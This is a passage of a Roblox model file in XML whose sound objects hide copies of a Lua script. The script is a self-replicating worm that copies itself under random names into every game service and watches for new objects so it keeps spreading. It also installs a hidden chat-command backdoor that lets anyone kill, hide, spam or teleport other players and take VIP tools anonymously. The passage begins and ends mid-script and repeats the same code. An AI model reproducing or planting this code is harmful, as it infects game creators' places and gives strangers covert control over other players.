local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX479">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX480">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">3b3i6j</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX481">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">hi455</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX482">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">rbxa11</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX483">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">fcybm</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
